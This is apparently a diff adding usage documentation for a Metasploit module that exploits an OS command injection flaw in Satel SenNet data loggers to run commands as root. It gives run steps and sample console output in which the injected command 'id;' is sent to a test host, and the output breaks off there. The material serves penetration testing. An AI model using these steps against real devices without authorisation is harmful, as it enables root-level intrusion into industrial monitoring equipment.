+This module exploits an OS Command Injection vulnerability in Satel SenNet Data Loggers to perform arbitrary command execution as 'root'.
+
+## Verification Steps
+
+1. Do: ```use auxiliary/scanner/telnet/satel_cmd_exec```
+2. Do: ```set RHOSTS [IP]```
+3. Do: ```set RPORT [PORT]```
+4. Do: ```run```
+
+## Sample Output
+
+  ```
+msf > use auxiliary/scanner/telnet/satel_cmd_exec
+msf auxiliary(satel_cmd_exec) > set rhosts 1.3.3.7
+msf auxiliary(satel_cmd_exec) > run
+
+[*] 1.3.3.7:5000   - Sending command now - id;
